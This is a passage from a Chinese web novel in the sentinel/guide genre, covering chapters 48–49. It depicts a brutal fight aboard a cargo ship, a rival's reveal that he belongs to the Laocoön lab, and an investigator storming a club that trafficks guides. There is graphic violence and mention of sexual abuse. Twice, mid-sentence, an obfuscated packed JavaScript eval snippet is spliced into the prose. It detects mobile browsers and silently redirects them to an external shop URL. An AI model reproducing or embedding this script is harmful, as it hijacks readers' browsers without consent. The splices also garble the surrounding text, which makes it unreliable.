里奇并非海克的同行,但他也对那个世界略有所知。一个杀手几乎不可能脱离自己所在的组织,海克能在酒神节工作这么久而不被追杀,如果不是被组织赦免,就是和塔达成了交易。 杀手,塔,交易,“井”。 一个在一年前来到酒神节的落魄哨兵。 这让里奇想起了一件在大约一年半以前发生的事情。 “海克.雷德。” 海克.雷德忽然听见沙尘中传来自己的名字。贴地而行的风拨动空气,就像震动顺着声带传递。 风沙发出的是里奇的嗓音。 他问:“你知道拉奥孔吗?” 海克充耳不闻,他正向船舱高处的架空铁桥上移动,试图用高度差牵制住里奇。这个名词似乎并没有引起他任何的注意。 “拉奥孔是一家起源于瑟玛共和国的科技公司,致力于共感者能力的研究与开发。与大多数研究重心在哨兵上的公司不同,拉奥孔重点研究的是如何增强和利用向导的能力。” “拉奥孔在奥希恩王国也有业务。可惜,由于拉奥孔的最终目标与这里的塔存在冲突,这家公司只能转入地下活动。尽管如此,它也悄无声息地扎根在了奥希恩王国的各处。” 里奇的声音有条不紊。他追在海克身后,抬手瞄准了铁质楼梯某处锈蚀了的连接点。 “它的其中一个地下实验室位于奥希恩王国的约克郡,距离圣卢塞特约300公里。” “咯啦——!吱呀——” 铁质楼梯与架空铁桥间薄弱的连接点被子弹击断,伴随着溅射的火花和刺耳的摩擦声,整个楼梯的角度都倾斜了。海克察觉到里奇的意图,加快了脚步,但里奇已经瞄准了另一侧的连接点。 S级哨兵说:“在一年半以前,拉奥孔的约克郡实验室被摧毁了。” 伴随着他冷静的陈述,子弹先海克一步抵达楼梯与架空桥的连接点。 “砰——轰隆!” 接踵而至的轰鸣声像是被一点火星引爆的炸药,在船舱内咆哮起来。 海克所在的铁楼梯嘶鸣着向下坍塌,断绝了他逃跑的前路,而里奇已经沿着另一侧冲了上来,半自动机械臂在昏暗的空间里闪烁着危险的红光。 海克果断转身迎击,没有半点犹豫和畏惧,因为角度的原因,他看起来像是一只伏击的猛兽。 那漆黑的眼睛里映着火光,如同被打磨成利刃的黑曜石。在南美洲血腥而野蛮的古文明里,这种宝石被用来制作战士最强大的武器。 一年半前入侵了拉奥孔约克郡实验室的,也是一个强大的哨兵。 这个哨兵孤身一人杀掉了所有的守卫,研究员,以及实验品,但现场没有任何指向他身份的痕迹。 “拉奥孔曾经自信,自己的实验室绝不可能被轻易摧毁。因为他们有非常完善的保护措施,他们相信这样的措施能够保证自己的成员不被杀死……” 里奇说着,在精神图景中彻底化作沙尘,但即使如此,他也很难彻底离开海克的领域。现在海克的精神图景里,就连风沙的行动都受到限制,闪电正在空中织成一张不断碎裂又重生的网,他和他的猛雕都无法在这样的天空中飞行。 但也正是在这电闪雷鸣间,里奇意识到了,那个入侵者所留下的痕迹,就在自己眼前—— “拉奥孔在所有成员的大脑中都植入了一个指令:一旦濒临死亡,就会触发暴走的‘井’。” ‘井’是共感者意识完全被吞没的地方,是神游的哨兵或被情绪淹没的向导们意识的终点。共感者的思维坠落入‘井’后,就会在短时间内消失殆尽,身体也会陷入植物人状态,几乎不可能被唤醒。 在某些地区,’井’也被称为灵魂的黑洞。在人类首次知道这浪漫而可怖的天体的存在后,许多人都不约而同地联想到了’井‘,在共感者大脑里,那如星云般相互勾连的神经间像星辰一样闪烁的神经电信号会陷入永恒的冷寂与空洞,一如宇宙中这些绝对漆黑的角落。 而如果一个共感者突然被强大的刺激强行逼入‘井’中,他暴走的‘井’不仅会转瞬将他的意识吞噬,也会连带着将周围的共感着卷入。共感力越强,‘井’的波及就越远,就像一颗巨大的恒星坍缩成的黑洞,以光都无法逃离的引力将一切都撕碎。 拉奥孔让濒死状态的成员强行启动’井‘,就是为了以这种方式将敌人一并拖入深渊,从而保证其他成员的安全。一旦有一个成员濒死,杀害他的人也会跟着永远失去意识。 他们没想到有人会从’井‘中活着出来。那个摧毁了约克郡实验室的人,他杀了近三十人。排除参与工作的普通人,这三十余人中有十六个共感者。 那个人成功逃离了十六个能轻易将人的意识吞没的’井‘。 “你很强,难怪你能与我一战。”勉力躲避着落雷,里奇忽然这么说道,语气里竟然带着点承认的意味,“你竟然从约克郡活着来到了这里。” “是塔给你的这个机会,对吗?一年半前你帮他们解决了最棘手的问题,然后被他们流放到这个混乱的城市,辗转半年来到了酒神节。” “这一切值得你付出的代价吗?海克.雷德——约克郡实验室的入侵者。你这濒死的精神图景,你那迟钝的听力,还有那吞噬你的,内在的疼痛——这是你毁了那座实验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356938|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室的代价,也正是你毁了那座实验室的证据。只有’井‘才能对一个共感者的精神造成这样无解的损伤!” 里奇句尾的重音掷地有声。像是下定了某种决心般,他在现实中和海克短兵相接,猛雕也化作的风沙呼啸着向海克迫近。 海克想再次借助图景中的优势拉开和里奇的距离,一个闪身跨入雷云之下,一道闪电猛地横跨天空,如同长剑出鞘,横贯在他和猛雕之间。 他想:里奇为了避免被闪电击中后的停滞,应该会选择避开闪电。 “————” 果不其然,猛雕发出一声高亢而嘹亮的鸣叫,侧身躲过了闪电的轨迹。然而海克所在的位置枯木林立,无数死去的巨树高举着扭曲的枯枝,某一刻,右翅受伤的猛雕飞行不稳,擦过了枝桠—— 机会终于来了。 巨大的亚马逊森蚺从枝头浮现,向猛雕扑杀而来,再次咬住它的脖颈。猛雕剧烈地挣扎起来,而海克抬手一挥,枯竭的河床上竟然涌出澎湃而污浊的河水,转眼将森蚺和猛雕全都淹没了。 白鸟浮在海克身后,洁白如同守护的天使。在他的辅助下,海克的共感力得到增幅,以至于能够将正常的精神图景中的河流也引入暴走的图景之中。 两栖的森蚺在水中行动自如,将猛雕完全缠死。如同绞绳扼住死者的咽喉,它扼住这大型鸟类的躯体,将它中空的骨骼和内脏全都挤压在一起,就要把它像一尊陶瓷雕塑那样碾碎。 “……” 现实的交战中,里奇咽下喉头污水和鲜血的味道。 此刻他已经无法再让猛雕化沙逃离,因为一旦去往空中,就会有被闪电击中的风险。溺水和被碾压的共感让他有了接近死亡的错觉,他干脆放弃了从图景中逃离,只管全神贯注地和海克在现实中交手。 S级哨兵忽然迅猛的攻击完全压制住了失去右手的海克。海克越来越无法招架,甚至躲闪不及,再次被一颗子弹击中了右臂。 海克的动作出现了一丝破绽,他将所有力量集中在左手,固定住力气试图将里奇侧摔出去,而里奇忍着窒息的眩晕,反手拧住了海克的身体。他们僵持着,肢体拧在一起,呼吸紊乱。顶尖的哨兵们缠斗到最后,都已狼狈不堪。 但海克的枪口被撇到了指向地面的角度,而里奇的半自动机械臂正一寸寸地,勉力地挣脱桎梏,缓缓往海克的方向瞄准。 再没有更多的时间了。 当里奇褐色的眼球与海克对视的瞬间,他们都意识到,这就是最后的交锋。死神已经降临在他们上方,只等天平随时间偏移。随后,不是里奇死在精神图景,就是海克要被里奇一枪打穿了。 战斗中的时间流逝不过一瞬之间,又像是背着巨石的奴隶那样缓慢无比。在鲜血如同时钟的滴答声中,眼前开始发黑的里奇忽然开口道: “海克.雷德,你真的……有勇气杀死我吗?” “你很会……隐藏情绪。”他的声音断断续续,但依然十分镇静,“但我知道你在疑惑……为什么我会,这么清楚本该是机密的,拉奥孔的事情……是啊,你这个级别的酒神节看守,应该不知道酒神节第四层是什么吧?” “拉奥孔和……酒神节,是合作关系。你见过拉奥孔在约克的实验室,也见过……我们把向导运往第四层的样子……还没反应过来吗,海克.雷德……‘你们’在给‘我们’提供实验素材。” “……” 里奇话中的人称代词让面无表情的海克.雷德猛地睁大了眼睛。 “是的。‘你们’和‘我们’。我,不是你们酒神节的哨兵。我一直都是拉奥孔的人。” 拉奥孔的成员一旦濒临死亡,就会触发暴走的‘井’。 里奇的枪口无情地上移,猛雕的骨头已经被森蚺碾断,被绞死的感觉鲜明得快要让他心脏停跳了。但当他说话时,那近乎无情的冷静不像是濒死的遗言,而是有持无恐的威胁。 “现在,告诉我,海克.雷德——你的图景,还能再承受一次一个S级哨兵暴走的‘井’吗……?” “砰!” 就这样,在脏器和呼吸也被碾碎的同时,S级哨兵开了枪。 49. 第四十八章 疼痛,疼痛遍布全身。 黑暗和宁静像原初的海一样将他包围了一瞬,可疼痛转眼就无情地击碎了这永恒的安宁。 他感到剧痛难忍,头晕目眩,身体沉重得像是灌了铅,无法控制的四肢却又像是一把被随手扔到地上的火柴。 他的胸腔剧烈地起伏,空气犹如火焰在他的脏器中燃烧。每一次呼吸都像是在用一把刀亲手扎进自己的肺里,叫人分不清这疼痛究竟是正在将他从濒死中唤醒,还是正在把他的灵魂从身体中扯向地狱。 “……” 但他还是睁开了眼睛,毫不犹豫。 “滴答……滴答……” 映入他眼瞳的并非地狱,而是鲜血。 天平倾斜,骰子落地—— 赌赢的那个人有一双褐色的瞳孔。 “……只差一点。” “你——只差一点就成功了。” 从窒息中恢复过来的里奇用嘶哑的声音说。 他摸着自己脖子上浮现的青紫的勒痕,冷眼看着面前的海克.雷德。对方正半跪在一米开外,捂着自己腹部右侧。 杀手警惕地抬着头,漆黑的眼睛锁定着里奇,里面仍然是冷血爬行动物一般的冷血和空洞。可鲜红的血液正不断渗出他的指缝,淌过机械手臂滴落在地面,如同一株从他体内蜿蜒而出的血色藤蔓。 他看起来依然不动声色,但里奇能听见他气管里破碎而空洞的回音。 他也正在卖力地,艰难地呼吸。 但他比濒临窒息的里奇更加痛苦。 这具本就千疮百孔的身体正在隐秘地颤抖,不是因为无法忍受疼痛,而是因为机能的损坏。 海克.雷德的右肺被打穿了。 他的反应速度还是超出了里奇的想象,事实上,里奇原本瞄准的是他的心脏。但杀手抓住了S级哨兵窒息时一次条件反射的痉挛,在最后一刻挣开了钳制,里奇的子弹并没有直接带走他的性命。 尽管这并不会改变这场战斗的结局。 “我知道你还会继续挣扎,但现在局势已定。海克.雷德,你已经赢不了我了。” 里奇举起机械臂。他听起来既不喜悦,也不兴奋。他只是在宣告一场胜负。 如果海克.雷德坚持下去,里奇真的会被他拧断脖子,这一点他们两人都心知肚明。 但杀手害怕了。 他害怕拉奥孔的“井”,他在最后一瞬松开了对里奇的绞杀——他害怕里奇的“井”彻底摧毁掉自己的精神图景,也摧毁掉那个存活在他精神图景中的人。 当里奇的脉搏由亢进转为缓慢,进而完全停滞时,十岁那年第一次绞死人类的触感再次浮现在他掌心。 死亡的冰冷穿透皮肤,海克早已习惯了这种感觉,但那个瞬间,电火行空,他的眼前突然浮现出白鸟在酒神节里那饱受折磨的,凄惨的身体。 不…… 杀手的喉咙抽噎起来,白鸟的发丝如同落雪飘飞在他的视野。 他害怕那白发蓝眼的青年会随着自己的雨林一起枯朽成尸体。 他要保护他,他要带他活下去……他已经错失了一次拯救白鸟的机会,他无论如何也不能再看着白鸟在自己面前死去了。 他赌不起,于是他退缩了——海克.雷德,这个有了软肋的温柔之人啊,他又重蹈了覆辙。 “可惜,你本杀出了一线生机。”里奇的枪口泛起危险的红光,说话的语气里却难得带上了一丝对强者真正的惋惜,“但正因为你想要活下去,你才难逃一死。” 他是真的有些遗憾。 经此一役,他能够确定,海克.雷德,这个哨兵的实力,其实已经达到S级了。如果他没有被杀手组织以虐待的方式培养,而是得到正确的教育和辅助,也许现在已经能够超过里奇了。 “……” 要躲开,要拉开距离。船舱里有掩体,要转为伏击,才能继续和他抗衡。 海克冷静地想着,将五感完全解放,避开里奇的攻击。他的动作依然迅捷,仿佛缺氧和失血给他带来的只是发白的皮肤上一抹病态的青色。 里奇说得对,他并不会因为右肺成了碎片就放弃。 精神图景里,他们撤至一片丛生的枯树背后。白鸟紧紧抱着他,手放在他抽搐的右肺部,脸色惨白,目光却坚定。医生正在紧急稳定海克的精神,激活杀手因为低氧而衰退的神经信号。他已经没有余力再为海克的自我牺牲而生气了,他只感到恐惧——在海克害怕失去他的同时,他也害怕失去海克。 他低下头,轻轻抵上海克的额头,像是一束月光亲吻上一个被诅咒的鬼魂。通过共感力,他削弱了海克受伤的负面影响,搭建精神支架将杀手的五感维持在最高水准,并且让他完好的左肺满负荷运转起来,维持供氧。 他只是一个寄生在精神图景中的灵体,他帮不了海克太多。 但如果海克决心要战斗,他就会倾尽全力帮助海克继续。 无怨无悔,生死与共。 就像每一个向导愿意为他的哨兵所做的那样。 他们还有周旋的余地,因为里奇缺少向导辅助,而森蚺也还在与猛雕搏斗。任凭那只大型雕类如何用喙撕扯森蚺的鳞片,这只鲜血淋漓的爬行动物都没有松开。 精神动物被俘终归是影响到了现实中的里奇,给了海克撤离的机会。在某个瞬间,里奇对海克的封锁出现了纰漏。 他的攻击没能覆盖到通往船舶主动力室的通道。那个区域里陈列着船舶主机和传动力装置等重要设备,如果这些巨型机器被破坏,很有可能会引发爆炸,即使是里奇,也不得不有所忌惮。 海克抓住战机,转身冲向主动力舱室。 没有比那里更适合伏击作战的地方了,巨大的机械既能提高藏身之处,又能迫使里奇减弱攻势,如果有机会,他还能趁机处理伤口…… “……!” 然而,就在抵达主动力舱室前的瞬间,海克的双眼猛地睁大了。 他忽然改变了动作,向左侧偏去,幅度之大,几乎要跌倒在地。 而一道寒光自昏暗的舱门后浮现,如同黑夜中一轮不详的弯月。 那是一把匕首,他已经以最快的速度去避开它了。 但他还是慢了一步。 因为能认知到这把匕首的存在,本身就说明,“交互”已经产生了。 持续的暗红色血液从海克.雷德的侧颈淌出。杀手摇晃了一下,没有捂住伤口,任由血液奔流。 他已经连这种简单的事都做不到了。那手掌和手臂都已经废掉了的右手只是在他身侧摇晃了一下,像木偶断线的肢体。 “咳……” 海克呛了口血,有种突然被海水淹没般的窒息和眩晕。四肢都沉重得像是要将他车裂的刑具,但他左手的机械臂依旧坚定地瞄准着不远处的里奇。 至于他面前这个家伙……他知道她并不是机械臂能对付得了的。 “啊呀,你躲得好快呀!才刚刚和匕首‘交互’,就意识到人家的存在了。” 在他面前,一个粉发的少女正站他和主动力舱室之间,手里握着一把满是血液的匕首。 “明明你都已经上了当,往这个方向冲过来了,最后居然只划破了颈静脉……人家本来还指望你会直接撞上匕首,自己把自己的颈动脉和气管都捅个穿呢!” “怪不得里奇在来找你之前把通讯器给了人家,原来是不想在这么精彩的战斗里被人打扰呀。” 不知为何从污水舱来到了这里的米拉.爱丽丝说道。她依然带着那种活泼甜蜜的笑脸,那只假眼蝶停留在刀尖,翅膀上眼球般的花纹倒映在匕首表面游移。 她赶到这里时,海克刚刚被里奇打中肺部。 看着海克摇摇欲坠的样子,兴致盎然的少女似乎有了什么想法。她立刻把自己的存在从海克的认知中抹除,然后站在主动力舱门口,对里奇挥了挥手里的匕首,做出手掌主动撞上刀尖的姿势。 里奇明白了她的意思,表面不动声色,却故意在攻击中留出了空档,让海克冲向了米拉的方向。 他知道杀手会撞上那把隐形了的匕首,他知道海克无法察觉到这个陷阱。 所以他才说局势已定。 这并不是因为海克不够强大,而是里奇非常清楚——米拉把事物隐藏起来的认知误导,连自己这样的S级哨兵也无法破解。 “……”一个与战局无关的念头突兀地闪过里奇的脑海。 所以那个叫莱蒂斯的年轻哨兵,到底是怎么发现卢娜.雷德的位置的? 米拉则看着两个僵持的哨兵,只是自顾自地说话,仿佛自己闯入的是一场意犹未尽的茶话会: “人家本来也没想打扰你们的,刚刚海克身上产生的情感可是相当的,相当的有意思呀!别管人家啦,你们继续玩吧,人家只是来传个话。” “首先,里奇,酒神节的看守队长一直在联系我们来着。他说有个疯女人杀进酒神节了,根本拦不住。” “什么?”里奇有些诧异地看向她,甚至放松了对海克的警惕。 “但那不重要。”米拉摆摆手,带着某种狂热死死盯着海克,“接下来才是重点!” “海克.雷德,你快死了,对吧!太好了,还好人家赶上了~人家有话想告诉你,你知不知道——咦?呃——!!!” 正在她好整以暇地喋喋不休时,一阵叫人难以忍受的剧痛突然传遍米拉全身,仿佛她浑身上下所有神经都变成了一台隆隆作响的绞肉机,把她整个人都万劫不复地粉碎。 “啊啊啊啊啊啊!” 少女表情扭曲,高声尖叫起来。好痛,痛死了——她的意识里只剩下这些词句,胡乱地镌刻在大脑的沟壑中,让她恨不得干脆一死了之。 怎么会……海克不都快死了吗……? 在沸腾的痛苦和让人目盲的白光里,她后知后觉地看见一片荒芜的雨林。 她在一片雨林里。有紫色的闪电从天而降,刺穿了她的身体。 他怎么还能攻击……? 米拉难以置信。 她对自己太过自信了,就这么把自己暴露在了海克面前,却没想到海克.雷德和经验不足的莱蒂斯完全不同。 即使已是强弩之末,海克也多的是办法对付她——既然机械臂没用,那就用别的。趁着里奇因为她的话分神的瞬间,他把她和里奇都拉进精神图景,因为重伤而进一步暴走的雷电在空中绽放,麻痹了他们的知觉。 等幻痛和幻觉都消失时,米拉才发现自己已经倒在地上,喉咙和鼻腔里都是鲜血。里奇则皱着眉,看着主动力舱的门。 就那么一秒的疏忽,重伤的海克.雷德已经从他们面前消失,只留下地面一摊血迹。 但S级哨兵没有再追。见米拉恢复了意识,他问:“你说酒神节怎么了?” “咳咳,呜……咳啊……啊呀,真讨厌……真有趣!他居然还能行动。”米拉狼狈地咳着血,语气却依然活泼,那散乱的粉色长发半遮半掩着她的笑脸,让她看起来像个疯子,“怎么就让他跑了呢。里奇,快去追他。带上人家一起去追他!” 她看起来离死掉还很远,所以里奇没有分给她多余的关心。他问:“酒神节怎么了?有人闯进去了?” 米拉哼哼唧唧:“对啊,那又怎么了?只是件小事而已。人家来这里,更多是怕你直接把海克给杀掉了!人家知道你是不会说的,所以人家要来说——如果不在他死前告诉他实情,那就太浪费了!人家一定要感知到他听见真相时的情感,所以快点快点,我们去追——唔!” 里奇对她的唠叨充耳不闻,也不理会她在地上疯疯癫癫的模样,直接从她腰间把通讯器抢了过来。 把这个留给米拉是他疏忽了。 里奇按下按钮,对酒神节传讯: “酒神节,简述入侵者情况。” 十几秒的杂音后,哨兵队长的声音传来,和米拉的轻描淡写截然相反,他听起来快要爆炸了: “快回来!他妈的拉奥孔!现在就他妈的给我滚回来!” “……” 见他的交流能力退化得所剩无几,里奇把问题拆分成了更详细点内容:“入侵者有几人,是否知道身份,现在所在位置在哪,是否已经拦截成功?” “我听起来像是拦截成功了的样子吗?第二层,她已经到第二层了!”哨兵队长听起来正在手无寸铁地面对一只出笼的野兽。 “几人……你问我几人?就他妈的一个人,布列塔尼,那个共感者调查部的部长!妈的,疯女人……我们根本拦不住她,必须得你们来!” “她他妈的是个S级哨兵!” 半小时前,午夜。哨兵队长正在酒神节0层值班。 因为前两天有人闯入过酒神节,所以经理规定,最近必须由他亲自留守地面层。哨兵队长对此烦得不行,他既没涨工资,又没办法趁机玩弄地下三层的向导,整个人暴躁得像个汽油桶,一点就炸。 “砰砰砰!” 偏偏还真的有人在他值班时在酒神节外面砸门。 他妈的,最近怎么这么多人来酒神节闹事,难道这些白痴都赶着找死吗? 哨兵队长怒气冲冲地打开门,却看见了一张漂亮而温柔的脸。 一个有着浅棕色长发的温婉女性站在门口,眯着灰色的眼睛,对他微笑。 哨兵队长的怒火像冲进海里的岩浆一样瞬间冷却了,但这并不是因为他见色起意。 沉重的感觉像是凝固的岩浆岩压在他心口,他认识这个女人。 之前跟哈瑞.赫夫迈他们开会的时候,圣卢塞特警局局长特地提到了这个女人和她的部门。整个警局,只有他们有可能违背局长的命令继续调查伦滋.赫夫迈的事情。 哨兵队长沉下声音:“共感者调查部部长,有何贵干?” “哎呀,您认识我?”布列塔尼看起来有些惊喜,“谢谢您为我开门。我想进入这栋建筑,能请您让一下吗?” “……这是私人会所,恕不对外开放。”哨兵队长站得笔直,背诵局长教过他的话术,“公职人员想要进入,也必须持搜查令来访。否则,我们有权正当反击。” 他知道布列塔尼是不可能申请到搜查令的,所以言下之意是你快滚吧,不然我就要动手了。 然而布列塔尼还在微笑,她摇摇头,像是中学老师在跟闹别扭的学生说话:“我不是以公职人员的身份来的,能请您让一下吗?” 她一边用温柔的声音重复着礼貌的请求,一边抬起了右手。在她干净整洁的袖口下,哨兵队长看见了泛着钛合金属光泽的,从未见过的先进半自动机械臂。 “……”他瞬间警铃大作,背着的手赶紧按下通讯器上的增援按钮,表面却继续站在道德制高点威胁布列塔尼,“无论什么身份,都不能公然违反法律。这栋建筑是合法的私人财产,如果你硬要闯入,我们会立刻上报警——非法闯入的罪名足够让你革职了。” “这可不一定。”布列塔尼歪了歪头,带笑的灰色眼睛像是弥散的晨雾,“您知道安哥拉案吗?” “……啊?” “这是一个经典判例。大约十五年前,哨兵安哥拉的向导遭到五人轮○,安哥拉在警察赶到前先行追到了罪犯所在的地点,找到了自己的向导。” “由于通过精神链接感知到了自己向导的痛苦,安哥拉陷入暴走状态,在杀死五名罪犯后又造成造成数十人轻伤,三名刑警重伤。” “共感者审判庭认为安哥拉杀死伤害自己向导的人是哨兵的本能所致,鉴于他已经失去理智,从生理上不具备刑事责任能力,最终只是就其对警察造成的故意伤害判决了刑期。” “……啊?”哨兵队长傻了,“什么意思?” “意思是,如果一个哨兵因为已结合的向导受到致命伤害而暴走,是可以在一定程度上免除刑事责任的。” 布列塔尼的笑容如沐春风:“您瞧,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356939|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都心知肚明,您身后的建筑里有很多无助的向导。而我嘛,正巧也是一个因为自己向导受到致命伤害而失去理智的哨兵,认为自己的向导就在里面。” “如果我闯进去,并且真的找到了向导们,我是不需要承担责任的。” 你是个屁!哨兵队长在心里咆哮。他听明白了,这个精通律法的调查部部长是在钻判例的空子要硬闯。他知道酒神节为了避免暴走的哨兵来闹事,进的货全都是没有结合过的向导,但他又不可能光天化日之下把这话吼出来,更何况—— “你他妈的哪里失去理智了!”他装不下去体面人了,对着眼前这个让他不寒而栗的女人破口大骂,“你他妈还在这里背法条案例呢!” “啊呀,”布列塔尼说,大步向门里走来,“你大可以拦我试试,看看我还有没有理智嘛。” 伴随着她温柔如水的尾音,哨兵队长汗毛倒竖。他刚想抬手阻止她前进,就被她装着机械臂的右手猝不及防地拽住领子,狠狠扔到吧台上,撞落了一排酒杯。 姗姗来迟的增援们这才赶到前台,只看见长发飘飘,面带笑容的布列塔尼,以及她身后怪物一样四米高的巨大非洲象。任何人在它身边,看起来都像一个不堪一击的布娃娃。 所有哨兵都全神贯注地将注意力放在了这个可怕的女人身上。与此同时,在他们没有注意到的角落,一个小小的微型机器人搭载着摄像头,溜进了酒神节内部。 “我们正在紧急转移地下三层的客人和向导,但现在已经有起码七个哨兵被她的大象踩断骨头了!她的机械臂我们也从来没见过,能发射麻醉弹,可能是私自研发的玩意儿——无论如何你们他妈的必须马上给我滚回来把她拦住,不然你们的第四层也他妈迟早得被抄了!” 哨兵队长无能狂怒地咆哮道,声音透过通讯器,响彻整个船舱。 “快艇十五分钟前已经派出来了,马上就要到了,快他妈的从船上给我滚下来!” “明白,来了。”里奇简洁地回答。 然后,他干脆地把对讲机切换到船上的频道,要求剩余人员全部到救生艇的位置集合,破坏所有救生艇之后就地拦截目标。 他知道无论是海克还是莱蒂斯,最终目的都下船逃走,只要毁了所有救生艇,就能把他们全都困死在船上。 安排好了后,他蹲下身去,把倒地不起的米拉扛起就走。 “唉?哎哎哎?”米拉愣了一下,她没力气挣扎,只能大吵大闹,“不要啊!人家还没有尝到海克绝望的感情……人家才不走呢!里奇,喂,里奇,你不也还没有成功杀死他吗?这是任务,记得吗?你不能就这么——” “实验室更重要。我们这边的实验品是最接近成功的那个,绝对不能让那个调查部部长发现地下四层的存在。”里奇冷冷地回答,向快艇过来的方向赶去。 离开前,他回头看了眼那行通向主动力舱室的血迹。 “至于海克.雷德……他和死了也没什么区别。他虽然还能动,但那终究只是他脑子里的家伙帮他强撑下来了而已。” “伤成那样,无论再怎么挣扎,他都不可能活下去了。” “轰隆——!轰隆——!” 主动力舱室里充满了发动机的轰鸣。 海克.雷德倚靠在一台巨大的机器背后,把衬衫撕成几张布条,一条折叠成块状垫住颈部伤口,咬住另一条布的一端,将伤口和块状布一并扎紧,又简单把右胸的贯穿伤包扎了一下,完成了紧急处理。 单手包扎伤口有点困难,而血液转瞬就把布给浸透了。他的手有些抖,身体也愈发寒冷起来。 白鸟跪在他跟前,手足无措地看着他。海克此时的样子比他见过的任何一个伤患都更加凄惨,他右手的炸伤深可见骨,融化的皮肤粘粘着摇摇欲坠的肉块,大臂里的弹孔下方,子弹和高气压形成的巨大空腔里扎着骨头的碎片。 强烈的灼烧感焚烧在他的神经。杀手冷汗淋漓。他的呼吸很浅,新的血液却还是在随着他胸腔的起伏涌出。西服胸口大片已经干涸变黑的血迹里又浮现出鲜明的艳红,像是一束以他生命为养分肆意绽放的花。 血,到处都是血。在他的手上,他的身上,他来的路线上,他依靠的机器上,每一寸血迹都是他破碎的灵魂,触目惊心。 运作的发动机带来震动,世界似乎都变得鲜红。只有海克.雷德在褪色。白鸟抖着手,想抹去他脸颊上沾着的静脉血,半透明的手却穿过了他的身体。 “呜……” 白鸟颓然地低下头。 他说:“对不起。” 有什么东西哽咽在他的喉咙。他感觉自己快要失声了,又感觉有什么要冲破自己的咽喉。他曾经咽下过太多的哭喊,咽下药物造成的痛苦和顾客粗暴的凌辱,然而此刻他感到自己的食道在失控地抽动,他几乎想要呕吐。 “对不起,海克……对不起……我拖累了你,是我拖累了你……” 拯救过无数人的精神疏导师茫然地忏悔着并不属于自己的罪孽,不敢再去看海克的身体。那个S级哨兵无情的评价至今像一把利刃刺在他心脏——海克是因为不敢死,才失去了活下去的机会。 然而一道沉重又温柔的力量落在他头顶。 借由两人共生的精神,海克摸了摸白鸟柔软的白发。 他问白鸟:“你疼吗?” 白鸟像触电一样颤抖了一下。他抬起头,看见海克漆黑的眼睛平静得一如既往。 “不……不疼。海克,你又为了我屏蔽痛觉了吗?不行,别这样了,海克,至少让我和你一起承担——” “没关系,现在已经,没有在战斗了。而且我会,每隔一分钟,解放一次痛觉,这样就能,监控我自己的体征。”海克轻声打断他,一字一句地,认真地说,“白鸟,不要道歉。是因为你在,我才敢让精神图景暴走。没有你的话,我早就该,疯了,或者死了。” 他垂下眼,活动了一下左手的机械臂。枪口的红光亮起,它还能用。 “如果没你的话,我现在也根本不可能,听见他们说话。” 机械的嗡鸣声中,海克抬起头来,看向主动力室的门。在他脱离战场后,那两个哨兵向导的对话,他们要离开船的情报,还有他们对救生艇区的部署,海克全都听见了。 “我们,走吧。”海克摇摇晃晃地站起。他感觉眼前黑了很多,但他不在乎。 “我们去救生艇,那里。去等卢娜,和那个女孩。” 是时候汇合了。 海克非常清楚,S级哨兵和那个粉发的向导是唯二能阻止莱蒂斯的对手。既然这两人都在他这边,那莱蒂斯肯定已经成功救到了卢娜。 虽然不知道那个闯入酒神节的布列塔尼究竟是何方神圣,但海克很感激她引开了拉奥孔二人。现在,只剩最后一件事要做了—— “得去阻止救生艇,被酒神节破坏。”他说着,有些抱歉地看了眼白鸟,“再陪我一下……我们就能,离开这里了。” “……” 对啊。战斗还没有结束,他们还没有逃离。 白鸟突然替海克感觉到了一种巨大的疲惫,它如同西西弗斯的巨石压在这个不幸的杀手身上。 怎么还没有结束呢?他经受的磨难也太久了,太累了……他都已经拼尽全力,遍体鳞伤了,为什么还是连喘口气的时间都没有呢?白鸟看着海克连站都快站不稳的样子,总有种想要流泪的冲动。但他没有哭,也绝不允许自己去可怜这样的海克。他知道,在妹妹平安之前,在自己安全之前,海克绝对不会停下战斗。 他知道正是这样的海克给了自己力量,支撑着自己走过了酒神节里最艰难的时光。 “嗯,我陪你。”于是白发的青年点点头,忍住哭腔,用尽全力露出了微笑,“不是早就对你说过了吗?无论去哪里,我都会和你一起。” 他那么认真地看着海克,连他自己都没有注意到,自己的身体像紊乱的代码那样闪烁了一下。 50. 第四十九章 年轻哨兵摁掉了通讯器。 他深深吸了一口气,看了眼自己身边的铁制小艇。这种能承载十人的自由降落式救生艇被悬挂在船头,除了他旁边这个,货轮的左右侧还各有三艘下放式的。 甲板上漆黑一片,隐约有火花闪烁。哨兵能听见左边船舷传来枪声,还有人的喊叫。发生了什么?是有人在破坏救生艇发动机,还是有人遭到了攻击?他不在乎,他连听力都不想解放。 他又低头,看向自己的手,还有手里的枪。那只握枪的手正在不自觉地颤抖,已经不受大脑的控制。 “啊……啊哈哈哈……” 他想大喊出声,最后却神经质地笑了起来。 这艘位于船头的救生艇离打起来的地方最远,他应该是第一个到达它附近的人。但他并没有听从命令破坏发动机,事实上,如果有人要破坏它,他知道自己会疯了一样把他干掉,毫不留情。 因为哨兵是逃到这里来的。 他是某位A级向导的下属。当A级向导在甲板的上层建筑审问那个黑头发的小姑娘时,他就在外面抱着枪看门。 但A级向导再也没从那扇门里出来过,而他在门被推开前就逃走了。 他离少女暴走的地方太近了,在那扇门后,他听见了所有人都听见的那声狼嚎,以及从她精神图景中泄露出的,星球运行的嗡鸣。 